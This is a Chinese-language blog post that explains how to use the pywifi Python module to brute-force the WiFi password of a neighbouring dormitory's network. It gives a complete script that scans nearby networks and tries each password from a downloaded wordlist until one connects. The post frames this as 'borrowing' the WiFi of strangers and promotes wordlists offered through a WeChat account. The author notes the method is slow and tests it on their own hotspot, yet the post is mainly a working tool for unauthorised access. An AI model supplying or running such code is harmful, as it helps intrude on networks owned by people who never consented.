本文目錄:前期準備-如何破解-實現效果
本文作者:小賴同學
淡黃色的長裙,蓬鬆的頭髮,這好像就是我最近的寫照。最近因爲有點忙,感覺好久沒更新文章了,實在是愧對於當初的初心了哈哈哈。
言歸正傳,爲啥會寫這篇文章呢,這不,可能是刷視頻刷多了,流量都快用完了,而我自己住的地方又沒有拉網。如今這社會,不能上網那可真是難受啊,我不想拉網又不想搞流量加油包,所以有點鬱悶。
偶然點開手機WiFi列表,發現隔壁宿舍竟然有WiFi!!!OMG,我的天,那我是不是可以蹭一下他們的WiFi,可我又不認識他們,那咋搞呢?心中突然來了個小心思,網上搜索一番,於是乎,就有了這篇文章。
前期準備
那要如何實現蹭WiFi的夢想呢?我可以告訴你,可以用Python來蹭隔壁WiFi。pywifi提供了一個跨平臺的Python模塊,用於操作無線接口,支持Windows和Linux。官方網址:https://pypi.org/project/pywifi/。
使用前需要先通過pip install pywifi安裝這個模塊,安裝好了就可以import pywifi使用此模塊。但是運行的時候可能會報錯,提示comtypes無法找到,此時需要通過pip install comtypes安裝comtypes模塊。
同時,pywifi破解密碼需要準備好密碼本,可以自己建一個密碼本也可以直接下載已建好的密碼本。當然,肯定是使用已建好的密碼本啦。我這蒐集了兩個超級密碼本,可以直接在公衆號“學渣同學”後臺發送“密碼本”領取。
如何破解
首先需要聲明下,pywifi破解密碼是一種暴力破解的方式,其實現原理就是通過操縱網卡,遍歷密碼本上的密碼,一個一個地試,直到密碼正確從而連接上對應的WiFi ,所以pywifi只能用來練練手,同時因爲其破解速度太慢,實際使用價值不大。
一切準備就緒,那就開始實現夢想吧!基本的實現代碼如下:
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : Lucas Lai
# @File : wifi_decoding.py
# @IDE: PyCharm
import time
import pywifi
from pywifi import const
class Wifi:
def __init__(self):
self.wifi = pywifi.PyWiFi() # 創建WiFi對象
self.wifi_interfaces = self.wifi.interfaces()[0] # 獲取第一個無線網卡接口,使用索引0來獲得Wi-Fi接口
self.profile = pywifi.profile.Profile() # 創建WiFi連接文件
def get_wifi_list(self):
self.wifi_interfaces.scan() # 掃描附近WiFi
time.sleep(5)
results = self.wifi_interfaces.scan_results() # 等待5s後獲取掃描結果
for index, wifi_infos in enumerate(results): # 打印WiFi信息或自定義其他事情
print(index, wifi_infos.bssid, wifi_infos.ssid, wifi_infos.signal)
def connect(self, wifi_ssid, password):
self.profile.ssid = wifi_ssid # WiFi名稱
self.profile.auth = const.AUTH_ALG_OPEN # WiFi的認證算法,開放網卡
self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # WiFi的加密類型
self.profile.cipher = const.CIPHER_TYPE_CCMP # WiFi的密碼類型
self.profile.key = password # WiFi密碼
self.wifi_interfaces.remove_all_network_profiles() # 刪除所有WiFi配置文件
tmp_profile = self.wifi_interfaces.add_network_profile(self.profile) # 加載新的配置文件
self.wifi_interfaces.connect(tmp_profile) # 根據新的配置文件連接WiFi
time.sleep(2)
if self.wifi_interfaces.status() == const.IFACE_CONNECTED: # 判斷連接狀態
print(password, ": the password is ok.")
return True
else:
print(password, ": the password is not ok!!!")
time.sleep(1)
self.wifi_interfaces.disconnect()
def get_wifi_password(self, wifi_ssid, passward_txt):
with open(passward_txt, "r", encoding="utf-8") as f:
for line in f:
wifi_pwd = line.strip("\n")
is_connect = self.connect(wifi_ssid, wifi_pwd)
if is_connect:
print("The right password is ", wifi_pwd)
return wifi_pwd
def main():
pwd_txt = "你的密碼本路徑"
wifi = Wifi()
wifi.get_wifi_list()
wifi.get_wifi_password("你想要蹭的WiFi熱點名稱", pwd_txt)
if __name__ == "__main__":
main()
實現效果
因爲暴力破解花費時間比較長,爲了方便測試實際效果,我自己創建了一個簡單的密碼本,直接使用手機熱點進行測試,效果圖如下:
推薦閱讀